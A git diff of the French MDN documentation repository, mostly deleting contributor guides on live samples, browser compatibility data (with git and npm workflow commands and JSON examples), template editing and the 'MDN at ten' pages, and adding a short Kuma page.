+  border-radius: 6px;
+  background-color: #ffaabb;
+}
+
+#item {
+  width: 100%;
+  font-weight: bold;
+  text-align: center;
+  font-size: 2em;
+}
+
+ +

JavaScript

+ +

This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.

+ +
var el = document.getElementById('item');
+el.onclick = function() {
+  alert('Owww, stop poking me!');
+}
+
+ +

Result

+ +

Here is the result of running the code blocks above via \{{EmbedLiveSample('Live_sample_demo')}}:

+ +

{{EmbedLiveSample('Live_sample_demo')}}

+ +

Here is a link that results from calling these code blocks via \{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}:

+ +

{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}

+ +

Conventions regarding live samples

+ +
+

Note: This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see this thread). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.

+
+ +
+
Orders of code blocks
+
When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.
+
Naming of headings
+
When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.
+
Using a "Result" block
+
After the different code blocks, please use a last "Result" block before using the EmbedLiveSample macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).
+
diff --git "a/files/fr/mdn/structures/tables_de_compatibilit\303\251/index.html" "b/files/fr/mdn/structures/tables_de_compatibilit\303\251/index.html" deleted file mode 100644 index cb334e51c4..0000000000 --- "a/files/fr/mdn/structures/tables_de_compatibilit\303\251/index.html" +++ /dev/null @@ -1,503 +0,0 @@ ---- -title: Tables de compatibilité -slug: MDN/Structures/Tables_de_compatibilité -tags: - - Compatibilité - - Documentation - - Guide - - MDN - - Navigateurs -translation_of: MDN/Structures/Compatibility_tables ---- -
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

MDN a un format standard pour les tables de compatibilité de notre documentation du web ouvert ; c'est-à-dire la documentation de technologies comme le DOM, HTML, CSS, JavaScript, SVG etc. partagées par tous les navigateurs. Cet article explique comment utiliser nos fonctionnalités pour ajouter des données de compatibilité aux pages MDN.

- -
-

Important : La façon dont les données sont générées a changé. Historiquement, nos tables ont été insérées sur la page et les données ont été renseignées manuellement. Ceci est inefficace, rend la maintenance difficile et rend les données inflexibles. Par conséquent, nous migrons les données de notre navigateur pour les stocker dans un référentiel de données (voir https://github.com/mdn/browser-compat-data) et générer les tables par programme.
-
- Dans ce guide, nous documentons la nouvelle façon d'ajouter des données aux tables de compatibilité pour MDN, mais nous avons conservé la documentation à l'ancienne, car vous pourrez voir des tables manuelles sur MDN pendant un moment. Si vous avez besoin de la documentation ancienne, voyez notre article Anciennes tables de compatibilité.

-
- -
-

Note : Si vous avez besoin d'aide sur les étapes de ce guide, n'hésitez pas à nous contacter sur le forum de discussion MDN (en).

-
- -

Comment accéder au dépôt de données

- -

Les données sont stockées dans un dépôt de GitHub — voir https://github.com/mdn/browser-compat-data. Pour y accéder, vous devez obtenir un compte GitHub, réaliser une branche du browser-compat-data sur votre propre compte, puis cloner votre branche sur votre machine locale.

- -

Choisir une fonctionnalité pour y ajouter des données

- -

Tout d'abord, cherchez une fonctionnalité pour laquelle vous souhaitez ajouter des données de navigateur. Cela peut être un élément HTML, une propriété CSS, une fonctionnalité du langage JS ou une interface d'API JS, par exemple. Nous aimerions vous encourager à travailler sur les fonctionnalités de l'API, car nous avons déjà des personnes travaillant sur HTML, JS et CSS. Vous pouvez trouver le statut des fonctionnalités qui ont besoin de leurs données en ajoutant au dépôt sur notre tableur Browser Compat Data migration (migration des données des tables de compatibilité des navigateurs).

- -

Le processus d'utilisation est le suivant :

- -
    -
  1. Allez-y et choisissez une fonctionnalité qui n'est pas déjà travaillée ou complète. Inscrivez votre nom dans la colonne "Who" (qui), de préférence avec votre nom d'utilisateur MDN afin que nous puissions trouver votre adresse e-mail et vous contacter si nécessaire.
    2. -
  2. Si la fonctionnalité sur laquelle vous souhaitez travailler n'est pas déjà répertoriée dans la feuille de calcul, ajoutez-y des lignes à un emplacement approprié, en copiant le format qui s'y trouve déjà. Vous devez également utiliser la même granularité (par exemple, par élément pour HTML, par propriété ou sélecteur pour CSS, par objet pour JS, par interface pour API).
    3. -
  3. Une fois que vous avez commencé à ajouter des données, mettez le statut "In progres" (En cours).
    4. -
  4. Une fois que vous avez ajouté les données et soumis une demande d'extraction au dépôt principal, attribuez le statut "PR done".
    5. -
  5. Au fur et à mesure que vos données sont fusionnées au rapport, ajoutées au paquet npm, mettez à jour le statut si nécessaire.
    6. -
  6. Une fois que vous avez mis à jour les pages de documentation pour votre fonctionnalité afin d'utiliser la nouvelle macro pour générer dynamiquement la table de données appropriée sur chaque page, définissez l'état sur "Article mis à jour". À ce stade, vous avez terminé.
    7. -
- -

Préparation à l'ajout de données

- -

Avant d'ajouter de nouvelles données, vous devez vous assurer que votre branche est à jour avec le dépôt principal (le même contenu), créer une nouvelle branche dans votre embranchement pour contenir vos ajouts, puis récupérer cette branche dans votre clone local pour pouvoir commencer à y travailler :

- -

Regardons un moyen simple de nous assurer que votre fourche est à jour :

- -

Ajout d'un "remote" au dépôt principal navigateur-compat-données

- -

Accédez à votre clone local de la branche dans votre terminal / ligne de commande, et ajoutez un"remote" pointant vers le dépôt principal (en amont) comme ceci (vous n'avez besoin de le faire qu'une seule fois):

- -
git remote add upstream https://github.com/mdn/browser-compat-data.git
- -

Si vous n'êtes pas sûr d'y être parvenu, vous pouvez vérifier quels "remotes" votre dépôt utilise.

- -
git remote -v
- -

Mise à jour de votre branche avec le contenu du "remote"

- -

Maintenant, chaque fois que vous voulez mettre à jour votre branche, vous pouvez le faire en :

- -
    -
  1. -

    Vous assurant que vous êtes dans la branche maîtresse :

    - - 
          git checkout master
    -
    2. -
  2. -

    Allant chercher le contenu du dépôt à jour avec la commande suivante :

    - - 
          git fetch upstream
    -
    3. -
  3. -

    Rebasant le contenu de votre branche maîtresse avec le contenu du dépôt principal :

    - - 
          git rebase upstream/master
    -
    4. -
  4. -

    poussant ces mises à jour de votre branche distante en utilisant ce :

    - - 
        git push -f
-
    -
    5. -
- -

Création d'une nouvelle branche pour y travailler

- -

Ensuite, allez sur votre fourche distante (elle doit être à https://github.com/your-username/browser-compat-data) et créer une nouvelle branche pour stocker vos modifications pour cet ajout de données. Ceci peut être fait en:

- -
    -
  1. Cliquant sur le bouton "Branch: Master".
    2. -
  2. Saisissant le nom de votre nouvelle branche dans le champ texte "Find or create a branch...".
    3. -
  3. Cliquant sur le bouton "Create branch name-of-branch from Master" qui vient d'être généré.
    4. -
- -

Par exemple, si vous vouliez ajouter des données pour l'API WebVR, vous devriez créer une branche nommée "webvr".

- -

Aller sur la nouvelle branche

- -

A ce stade, retournez dans votre terminal / ligne de commande, et mettez à jour la copie de votre fourche locale pour inclure votre nouvelle branche en utilisant la commande suivante:

- -
git pull
- -

Maintenant allez sur votre nouvelle branche en utilisant:

- -
git checkout -b name-of-branch
- -

Vous devriez maintenant être prêt à ajouter vos données!

- -

Ajouter les données

- -

Pour ajouter les données, vous devez créer un ou des nouveaux fichiers pour y stocker les données de compatibilité. Les fichiers que vous devez créer diffèrent, selon la technologie sur laquelle vous travaillez:

- -
    -
  • HTML: Un fichier par élément HTML, contenu dans browser-compat-data/html/elements. Le fichier doit être nommé avec le nom de l'élément, tout en minuscules, ex. div.json.
    • -
  • CSS: Un fichier par propriété ou sélecteur CSS, contenu dans le répertoire approprié (voir browser-compat-data/css). Le fichier doit être nommé avec le nom de la fonctionnalité, tout en minuscules, ex. background-color.json, ou hover.json.
    • -
  • JS: Un fichier par objet JS, contenu dans browser-compat-data/javascript/builtins. Le fichier doit être nommé avec le nom de l'objet, en respectant la casse, ex. Date.json ou InternalError.json.
    • -
  • APIs: un fichier par interface contenu dans l'API, mis dans browser-compat-data/api. Chaque fichier doit être nommé avec le nom exact de l'interface, en respectant la casse, ex. L'API WebVR a VRDisplay.json, VRDisplayCapabilities.json, etc.
    • -
- -
-

Note: Vous remarquerez que le dépôt contient aussi des données pour les Extensions de navigateurs et pour HTTP. Ces ensembles de données sont esssentiellement finis en l'état, mais il faudra peut-être ajouter d'autres fonctionnalités à l'avenir.

-
- -

Chaque fichier que vous créez doit suivre le modèle défini dans le schéma contenu dans notre dépôt; vous pouvez voir la description détaillée du schema ici.

- -

Structure basique des données de compatibilité

- -

Prenons un exemple. Les fichiers JSON de propriété CSS ont par exemple besoin de la structure de base suivante:

- -
{
-  "css": {
-    "properties": {
-      "border-width": {
-        "__compat": {
-          ...
-        }
-      }
-    }
-  }
-}
- -

Vous avez l'objet css, à l'intérieur duquel vous avez l'objet properties. A l'intérieur de l'objet properties, vous avez besoin d'un membre pour chacunes des fonctionnalités  dont vous voulez définir les données. Chacun de ces membres a un membre __compat, à l'intérieur duquel les données vont.

- -

Les données ci-dessus se trouvent dans le fichier border-width.json — comparez les à la  table de support de border-width disponible sur MDN.

- -

D'autres types de fonctionnalités fonctionnent sur le même principe, mais avec des noms d'objets différents:

- -
    -
  • Les sélecteurs CSS fonctionnent essentiellement de la même manière que les proprités CSS, sauf que la structure de l'objet de plus haut niveau est css.selectors à la place de css.properties. Voir cue.json pour un exemple.
    • -
  • Les données HTML fonctionnent essentiellement de la même manière, sauf que la structure de l'objet de plus haut niveau est html.elements. Voir article.json pour un exemple.
    • -
  • La structure d'objet de plus haut niveau pour les objets intégrés JS est javascript.builtins; voir Array.json pour un exemple.
    • -
- -
-

Dans les pages HTML, CSS, et JS, vous n'avez normalement besoin que d'une seule fonctionnalité. Les interfaces d'API fonctionnent légèrement différement — elles ont toujours de multiples sous caractéristiques (voir {{anch("Sub-features")}}, ci-dessous).

- -

Structure de base à l'intérieur d'une fonctionnalité

- -

Dans un membre __compat, vous devez inclure les membres suivants:

- -
    -
  • mdn_url: Contient l'URL de la page de référence pour cette fonctionnalité sur MDN. Notez qu'elle doit être écrit sans le répertoire de la locale, ex. /docs/... et non /docs/en-US/... (ou autre). Il est ajouté par une macro lorsque les données sont mises sur la page, à des fins de localisation.
    • -
  • support: Contient des membres indiquant les informations de support du navigateur pour cette fonctionnalité, dans les différents navigateurs que nous souhaitons indiquer.
    • -
  • status: Contient des membres indiquant l'état de suivi des normes pour cette fonctionnalité.
    • -
- -

Les noms des membres pour le navigateur sont définis dans le schéma (voir Browser identifiers). Vous devez utiliser la liste complète des identifiants actuellement définis. Si vous souhaitez ajouter un navigateur, parlez-nous en d'abord, car cela pourrait avoir un impact important et ne devrait pas être fait sans une réflexion approfondie.

- -

Dans un fichier de base de compatibilité de navigateur, vous n'avez qu'à inclure "version_added" dans les membres de l'identifiant de navigateur (nous reviendrons plus tard sur {{anch("Advanced cases")}}). Les différentes valeurs que vous pouvez inclure sont les suivantes:

- -
    -
  • Un numéro de version: Si vous connaissez la version exacte à partir de laquelle le navigateur supporte cette fonctionnalité, utilisez une chaîne de caractères représentant ce nombre, ex. "47".
    • -
  • true: Si un navigateur supporte la fonctionnalité mais que vous ne connaissez pas la version exacte, utilisez la valeur true. Ceci équivaut à l'appel de la macro  \{{CompatVersionUnknown}} dans les anciennes tables manuelles.
    • -
  • false: Si un navigateur ne supporte pas la fonctionnalité, utilisez la valeur false. Ceci équivaut à l'appel de la macro \{{CompatNo}} dans les anciennes tables manuelles.
    • -
  • null: Si vous ne savez pas si un navigateur supporte ou non une fonctionnalité, utilisez la valeur null. Ceci équivaut à l'appel de la macro \{{CompatUnknown}} dans les anciennes tables manuelles.
    • -
- -

A l'intérieur du membre status, vous inclurez trois sous-membres:

- -
    -
  •  "experimental": Ceci doit être mis à true si la fonctionnalité est expérimentale, ou false dans les autres cas.
    • -
  • "standard_track": Ceci doit être mis à true si la fonctionnalité est en cours de standardisation (le plus souvent W3C/WHATWG, mais il y a aussi d'autres efforts de standardisation tels que Khronos, TC39, etc.) ou false dans les autres cas.
    • -
  • "deprecated": Ceci doit être mis à true si la fonctionnalité est dépréciée, ou false dans les autres cas.
    • -
- -

Les données pour la propriété border-width (voir aussi border-width.json) sont présentées ci-dessous à titre d'exemple:

- -
"__compat": {
-  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
-  "support": {
-    "chrome": {
-      "version_added": "1"
-    },
-    "webview_android": {
-      "version_added": "2"
-    },
-    "edge": {
-      "version_added": true
-    },
-    "edge_mobile": {
-      "version_added": true
-    },
-    "firefox": {
-      "version_added": "1"
-    },
-    "firefox_android": {
-      "version_added": "1"
-    },
-    "ie": {
-      "version_added": "4"
-    },
-    "ie_mobile": {
-      "version_added": "6"
-    },
-    "opera": {
-      "version_added": "3.5"
-    },
-    "opera_android": {
-      "version_added": "11"
-    },
-    "safari": {
-      "version_added": "1"
-    },
-    "safari_ios": {
-      "version_added": "3"
-    }
-  },
-  "status": {
-    "experimental": false,
-    "standard_track": true,
-    "deprecated": false
-  }
-}
- -

Ajouter une description

- -

Il y a un quatrième membre, optionnel, qui peut être placé à l'intérieur du membre __compat — description. Ceci peut être utilisé pour inclure une description, compréhensible par les humains, de cette fonctionnalité. Vous ne devez l'inclure que s'il est difficile de voir de quoi il s'agit en ne regardant que les données. Par exemple, il peut ne pas être évident qu'il s'agit d'un constructeur en ne regardant que la structure des données, vous pouvez donc ajouter une description comme:

- -
{
-  "api": {
-    "AbortController": {
-      "__compat": {
-        ...
-      },
-      "AbortController": {
-        "__compat": {
-          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
-          "description": "<code>AbortController()</code> constructor",
-          "support": {
-            ...
-          }
-        }
-      }
-
-      ... etc.
-    }
-  }
-}
- -

Sub-features

- -

In a page where the compat table has more than one row, you'll need multiple subfeatures inside each feature to define the information for each row. This can happen, for example, when you've got the basic support for a feature stored in one row, but then the feature also has a new property or value type that was addded much later in the specification's life and is only supported in a couple of browsers.

- -

As an example, see the compat data and corresponding MDN page for the background-color property. The basic support exists inside the __compat object as explained above, then you have an additional row for browsers' support for "alpha channel for hex values", which contains its own __compat object.

- -
{
-  "css": {
-    "properties": {
-      "background-color": {
-        "__compat": {
-          ...
-        },
-        "alpha_ch_for_hex": {
-          "__compat": {
-            ...
-          },
-        }
-      }
-    }
-  }
-}
- -

For an API, you've got the top two levels defined as api.name-of-the-interface, then a top-level __compat section to define the overall browser compatibility of the interface, then a sub-feature for each of the methods, properties, and constructors contained inside the interface. The basic structure looks like this:

- -
{
-  "api": {
-    "VRDisplay": {
-      "__compat": {
-        ...
-      },
-      "cancelAnimationFrame": {
-        "__compat": {
-          ...
-        }
-      },
-      "capabilities": {
-        "__compat": {
-          ...
-        }
-      },
-
-      ... etc.
-
-    }
-  }
-}
- -

See VRDisplay.json for a full example.

-
- -

Adding data: Advanced cases

- -

There are some advanced features that you'll want to include in browser compat data. The aim of this section is to list the most common ones, providing an example of each to show how you can implement them in your own compat data.

- -

Including a footnote

- -

Often compat tables will include footnotes related to certain entries that explain useful details or strange behavior that developers will find useful. As an example, the Chrome Android entry for {{domxref("VRDisplay.capabilities")}} (see also VRDisplay.json)  (at the time of writing) had a footnote "Currently supported only by Google Daydream." To include this in the capabilities data, we added a "notes" submember inside the relevant "chrome_android" submember; it would look like this:

- -
"chrome_android": {
-  "version_added": true,
-  "notes": "Currently supported only by Google Daydream."
-}
- -

Including a vendor prefix

- -

If a feature is supported behind a vendor prefix in one or more browsers, you'll want to make that clear in the browser compat data. imagine you had a feature that was supported with a -moz- prefix in Firefox. To specify this in the compat data, you'd need to add a "prefix" submember inside the relevant "firefox" submember. It would look something like this:

- -
"firefox": {
-  "version_added": true,
-  "prefix": "-moz-"
-}
- -

Including browser preferences or flags

- -

Some features may be supported in a browser, but they are experimental and turned off by default. If a user wants to play with this feature they need to turn it on using a preference/flag.

- -

To represent this in the compat data, you need to add the "flags" submember inside the relevant browser identifier submember. The value of "flags" is an array of objects each of which contains of three members:

- -
    -
  • "type": The type of flag or pref this is. The most common value is "preference", which is set inside the browser (for example, using about:config in Firefox, or chrome://flags in Chrome), but you might also sometimes use a value of "compile_flag", which is a preference set when the browser build is compiled.
    • -
  • "name": This is a string representing the name of the preference that needs to have a value set on it. For example, "Enable Experimental Web Platform Features" is a preference that exists in Chrome, found in chrome://flags.
    • -
  • "value_to_set": This is a string representing the value that needs to be set on the preference, for example "true".
    • -
- -

So to add a preference/flag to the Chrome support for a feature, you'd do something like this:

- -
"chrome": {
-  "version_added": "50",
-  "flags": [
-    {
-      "type": "preference",
-      "name": "Enable Experimental Web Platform Features",
-      "value_to_set": "true"
-    }
-  ]
-},
- -

If a feature is behind two or more flags, you can add additional objects to the "flags" array, like in this case, for example:

- -
"firefox": {
-  "version_added": "57",
-  "flags": [
-    {
-      "type": "preference",
-      "name": "dom.streams.enabled",
-      "value_to_set": "true"
-    },
-    {
-      "type": "preference",
-      "name": "javascript.options.streams",
-      "value_to_set": "true"
-    }
-  ]
-},
- -

Including a version where support was removed

- -

Sometimes a feature will be added in a certain browser version, but then removed again as the feature is deprecated. This can be easily represented using the "version_removed" submember, which takes as its value a string representing the version number it was removed on. For example:

- -
"firefox": {
-  "version_added": "35",
-  "version_removed": "47",
-},
- -

Including multiple support points for the same browser entry

- -

Sometimes you'll want to add multiple support data points for the same browser inside the same feature.

- -

As an example, the {{cssxref("text-align-last")}} property (see also text-align-last.json) was added to Chrome in version 35, supported behind a pref.

- -

The support mentioned above was then removed in version 47; also in version 47, support was added for text-align-last enabled by default.

- -

To include both of these data points, you can make the value of the "chrome" submember an array containing two support information objects, rather than just a single support information object:

- -
"chrome": [
-  {
-    "version_added": "47"
-  },
-  {
-    "version_added": "35",
-    "version_removed": "47",
-    "flags": [
-      {
-        "type": "preference",
-        "name": "Enable Experimental Web Platform Features",
-        "value_to_set": "true"
-      }
-    ]
-  }
-],
- -
-

Note: You should put the most current or important support point first in the array — this makes the data easier to read for people who just want to scan it for the latest info.

-
- -

Including an alternative name

- -

Occasionally browsers will support a feature under a different name to the name defined in its specification. This might be for example because a browser added experimental support for a feature early, and then the name changed before the spec stabilized.

- -

To include such a case in the browser compat data, you can include a support information point that specifies the alternative name inside an "alternative_name" member.

- -
-

Note: The alternative name might not be an exact alias — it might have differing behaviour to the standard version.

-
- -

Let's look at an example. The {{cssxref("border-top-right-radius")}} property (see also border-top-right-radius.json) was supported in Firefox:

- -
    -
  • From version 4 onwards with the standard name border-top-right-radius.
    • -
  • From version 49 onwards with a -webkit- prefix, for browser compatibility purposes.
    • -
  • From version 1 onwards with the alternative name -moz-border-radius-topright. Support for this alias was removed in version 12.
    • -
- -

To represent this in the data, we used the following JSON:

- -
"firefox": [
-  {
-    "version_added": "4",
-    "notes": "Prior to Firefox 50.0, border styles of rounded corners were always rendered as if <code>border-style</code> was solid. This has been fixed in Firefox 50.0."
-  },
-  {
-    "prefix": "-webkit-",
-    "version_added": "49",
-    "notes": "From Firefox 44 to 48, the <code>-webkit-</code> prefix was available with the <code>layout.css.prefixes.webkit</code> preference. Starting with Firefox 49, the preference defaults to <code>true</code>."
-  },
-  {
-    "alternative_name": "-moz-border-radius-topright",
-    "version_added": "1",
-    "version_removed": "12"
-  }
-],
- -

Pushing a change back to the main repo

- -

Once you are finished with adding your compat data, you should first test it using the following commands:

- -
    -
  • npm run lint — tests all the compat data to make sure the JSON is valid, and is written in the correct style, for example correct indentation, no missing commas, etc. It will print out a long list of file names and test results; if an error is found, the linter will throw an error on the file it is found in, giving you useful debugging info like line number, error message, etc.
    • -
  • npm run show-errors — validates the JSON against the data schema, and highlights errors such as invalid browser version numbers being used.
    • -
  • npm run render 'dotted.path.to.feature' — allows you to preview the markup for the compat table for a data file in the repo. As an example, npm run render 'css.properties.background' shows the table markup for the {{cssxref("background")}} property.
    • -
- -

If it is looking OK, you then need to commit it and push it back up to your remote fork on GitHub. You can do this easily with terminal commands like this:

- -
git add .
-git commit -m 'adding compat data for name-of-feature'
-git push
- -

Now go to your remote fork (i.e. https://github.com/your-username/browser-compat-data) and you should see information about your push at the top of the files list (under "Your recently pushed branches"). You can create a pull request (starting the process of pushing this to the main repo) by pressing the "Compare & pull request" button, then following the simple prompts on the subsequent screen.

- -

At this point, you just need to wait. A reviewer will review your pull request, and merge it with the main repo, OR request that you make changes. If changes are needed, make the changes and submit again until the PR is accepted.

- -

Inserting the data into MDN pages

- -

Once your new data has been included in the main repo, you can start dynamically generating browser compat tables based on that data on MDN pages using the \{{Compat}} macro. This takes a single parameter, the dot notation required to walk down the JSON data and find the object representing the feature you want to generate the compat table for.

- -

Above the macro call, to help other contributors finding their way, you should add a hidden text that is only visible in MDN contributors in edit mode:

- -
<div class="hidden">
-<p>The compatibility table on this page is generated from structured data.
-If you'd like to contribute to the data, please check out
-<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>
-and send us a pull request.</p>
-</div>
- -

As an example, on the {{httpheader("Accept-Charset")}} HTTP header page, the macro call looks like this: \{{Compat("http.headers.Accept-Charset")}}. If you look at the accept-charset.json file in the repo, you'll see how this is reflected in the JSON data.

- -

As another example, The compat table for the {{domxref("VRDisplay.capabilities")}} property is generated using \{{Compat("api.VRDisplay.capabilities")}}. The macro call generates the following table (and corresponding set of notes):

- -
- - -

{{Compat("api.VRDisplay.capabilities")}}

- -
-

Note: The filenames often match the labels given to the interfaces inside the JSON structures, but it is not always the case. When the macro calls generate the tables, they walk through all the files until they find the relevant JSON to use, so the filenames are not critical. Saying that, you should always name them as intuitively as possible.

-
diff --git a/files/fr/mdn/tools/template_editing/index.html b/files/fr/mdn/tools/template_editing/index.html deleted file mode 100644 index 3f56b7d1f9..0000000000 --- a/files/fr/mdn/tools/template_editing/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Template editing -slug: MDN/Tools/Template_editing -tags: - - Guide - - MDN - - MDN Meta - - Outils -translation_of: MDN/Tools/Template_editing ---- -
{{MDNSidebar}}
- -

Sur MDN, les modèles écrits en KumaScript sont utilisées pour automatiser la génération de contenu et la personnalisation au sein des pages. Chaque modèle est un fichier séparé dans le dossier des macros du dépôt Github de KumaScript.

- -

Toute personne éditant les pages wiki de MDN peut invoquer des modèles via des macros sur les articles MDN. Chacun peut créer et éditer des modèles via le dépôt Github de KumaScript en utilisant les pratiques normées du logiciel libre (copier le dépôt, créer une branche, faire ses changements, et soumettre une requête de publication à la relecture).Notez que soumettre une requête de publication est courrament le seul moyen de mettre à jour les chaînes traduites dans les modèles qui les contiennent.

diff --git a/files/fr/mdn/user_guide/index.html b/files/fr/mdn/user_guide/index.html deleted file mode 100644 index bf1a518498..0000000000 --- a/files/fr/mdn/user_guide/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Guide de l'utilisateur MDN -slug: MDN/User_guide -tags: - - Documentation - - Démarrer - - MDN - - Projet MDC -translation_of: MDN/Tools -translation_of_original: MDN/User_guide ---- -
{{MDNSidebar}}

Le site Mozilla Developper Network est un système avancé pour trouver, lire et contribuer à la documentation ainsi qu'au code pour les développeurs Web (mais aussi pour les développeurs Firefox et Firefox OS). Le guide de l'utilisateur MDS regorge d'articles détaillant comment utiliser le site MDS pour trouver la documentation dont vous avez besoin et si vous le désirez, comment aider à rendre les outils encore meilleurs et complets.

- -

{{LandingPageListSubpages}}

diff --git a/files/fr/mdn/yari/index.html b/files/fr/mdn/yari/index.html new file mode 100644 index 0000000000..c9f3813cb2 --- /dev/null +++ b/files/fr/mdn/yari/index.html @@ -0,0 +1,24 @@ +--- +title: 'Kuma, la plateforme soutenant le wiki MDN' +slug: MDN/Kuma +tags: + - Kuma + - Kuma script + - MDN Meta +translation_of: MDN/Kuma +--- +
{{MDNSidebar}}{{IncludeSubnav("/fr/docs/MDN")}}
+ +

Kuma est le code Django qui alimente le MDN Web Docs.

+ +

{{SubpagesWithSummaries}}

+ +

S'impliquer avec Kuma

+ +

Pour s'engager avec Kuma :

+ + diff --git "a/files/fr/mdn_a_dix_ans/contribuer_\303\240_mdn/index.html" "b/files/fr/mdn_a_dix_ans/contribuer_\303\240_mdn/index.html" deleted file mode 100644 index a4cd040a80..0000000000 --- "a/files/fr/mdn_a_dix_ans/contribuer_\303\240_mdn/index.html" +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Contribuer à MDN -slug: MDN_a_dix_ans/Contribuer_à_MDN -tags: - - MDN -translation_of: MDN_at_ten/Contributing_to_MDN ---- -
-
-

Le processus de contribution

- -

Contribuer à MDN est simple. Il y a deux façons pour commencer. Vous voyez une page que vous pouvez améliorer (en corrigeant une coquille, en ajoutant des informations ou en corrigeant des notions techniques) ? Il suffit de cliquer sur le bouton « Modifier » situé en haut de la page. Vous connaissez quelque chose sur le Web qui n'est pas encore traité dans MDN ? Il suffit de créer une nouvelle page et notre communauté de relecteurs et d'éditeurs s'assurera que votre page respecte la forme nécessaire puis la placera au bon endroit dans le wiki. Pas de stress ! Peu importe si ce n'est pas parfait du premier coup, chacun peut améliorer le Web à sa façon !

-
- -
-
-
-

Rejoignez-nous !

- -

Rejoignez-nous pour apprendre à tous comment développer grâce aux technologies web !

- -

Contribuez dès aujourd'hui

-
-
-
-
- -
-
-

Quelques exemples de contributeurs

- -

MDN est composé d'une vaste communauté de contributeurs. Nous ne pouvons malheureusement pas présenter tous les contributeurs (cela prendrait quelques années) mais nous pouvons en présenter quelques-uns dont les contributions sont conséquentes et/ou qui seront probablement présents sur le salon MDN Web Docs pour vous passer un coup de main, si besoin, lors de vos contributions

- -
-
-

Nickolay Ponomarev
- Contributeur volontaire

- -

Nickolay fut l'un des premiers contributeurs. Il participa aux travaux initiaux autour de DevEdge. Encore aujourd'hui, il contribue à de nombreuses sections, des standards du Web aux produits Mozilla.

- -

Andrew Overholt
- Responsable technique

- -

Andrew est à la tête des développeurs de l'équipe Web API. Une partie de son travail consiste à encourager les développeurs du DOM et des autres API afin qu'ils s'assurent que la documentation est en bonne forme, que ce soit en fournissant des informations à l'équipe d'écrivains techniques, en relisant la documentation ou en aidant à la création d'exemple de codes. Cette collaboration est très chère à l'équipe de MDN !

- -

Jérémie Patonnier
- Chef de projet

- -

Jérémie a commencé à contribuer à MDN en 2011 en documentant les propriétés SVG, documentation dont il avait besoin pour son propre travail. Jérémie est devenu le chef d'orchestre de la communauté française de MDN. Il organise chaque mois des « MercrediDocs » dans les bureaux de Mozilla Paris. Actuellement, il travaille à créer la Learning area et à améliorer et normaliser les données de compatibilité web contenues dans MDN.

- -

Julien (Sphinx)
- Contributeur volontaire

- -

Julien contribua pour une grande partie à la traduction de la section JavaScript de MDN en français. De nombreux contributeurs l'ont aidé dans cette tâche. Julien a passé de nombreuses soirées et week-ends à traduire des articles sur JavaScript pour que cette partie soit à jour et maintenue.

-
- -
-

Jeff Walden
- Développeur logiciel sur le moteur JavaScript

- -

Jeff Walden fait désormais partie de l'équipe SpiderMonkey. Il a contribué à MDN depuis ses débuts, sur de nombreux sujets comme XPCOM, la compilation et les tests, JavaScript, CSS, et d'autres encore.

- -

Priyanka Nag
- Contributeur volontaire

- -

Priyanka Nag a rejoint MDN en 2012 et est active dans la communauté MDN depuis le Sommet Mozilla en 2013 où elle a rencontré Luke Crouch et David Walsh, développeurs pour MDN. Cette rencontre fut décisive pour motiver ses premières contributions. Priyanka aime à faire connaître MDN, organiser des événements MDN tout en éditant ce wiki. Elle travaille actuellement comme écrivain technique à Red Hat et revendique fièrement que son intérêt pour l'écriture technique est né grâce à MDN et que ses contributions l'ont ainsi aidée dans sa vie professionnelle.

- -

Saurabh Nair
- Contributeur volontaire

- -

Saurabh contribue à MDN depuis 2011. Il est devenu plus actif cette dernière année et fait partie de l'équipe de garde contre les spams. Il aide ainsi à supprimer les pages nocives, à réparer les pages vandalisées et à bannir les malfaiteurs dès qu'ils apparaissent. Saurabh vivant en Inde, il peut ainsi prendre le relai quand les équipes européennes et américaines dorment.

- -

Sebastian Zartner
- Contributeur volontaire

- -

Sebastian commença à contribuer à MDN en 2007 en traduisant des articles en allemand. Rapidement, il se mit à contribuer aux articles anglais. Plus récemment, il a beaucoup contribué au contenu et à l'organisation de la référence CSS, en créer une API JSON pour les pages CSS et une macro pour la syntaxe CSS.

-
-
-
- -
-
-
Les docs de Mozilla sur JavaScript sont un mélange d'or et d'arcs-en-ciel. Beaucoup d'arcs-en-ciel. Elles sont magiques.
-— Nathan Dimitriades
- -
-
J'adore MDN car je ne peux même pas me souvenir de la structure des API que j'ai conçues.
-— Jake Archibald
-
-
diff --git a/files/fr/mdn_a_dix_ans/histoire_mdn/index.html b/files/fr/mdn_a_dix_ans/histoire_mdn/index.html deleted file mode 100644 index b28f79975c..0000000000 --- a/files/fr/mdn_a_dix_ans/histoire_mdn/index.html +++ /dev/null @@ -1,232 +0,0 @@ ---- -title: L'histoire de MDN -slug: MDN_a_dix_ans/Histoire_MDN -tags: - - MDN -translation_of: MDN_at_ten/History_of_MDN ---- -
-

Lors de cette discussion (en anglais), plusieurs contributeurs au projet MDN regardent dans le rétroviseur des dix dernières années de developer.mozilla.org et imaginent la décennie à venir. Vous pourrez entendre l'histoire des différentes migrations entre les logiciels de wiki, la façon dont la communauté a été construite et découvrir de nombreuses anecdotes de l'histoire du site. Le groupe réuni discute également des défis actuels et des projets sur lesquels la communauté MDN travaille cette année.

- -
- - -

{{ EmbedLiveSample('audio', 'auto', '50px') }}

- -

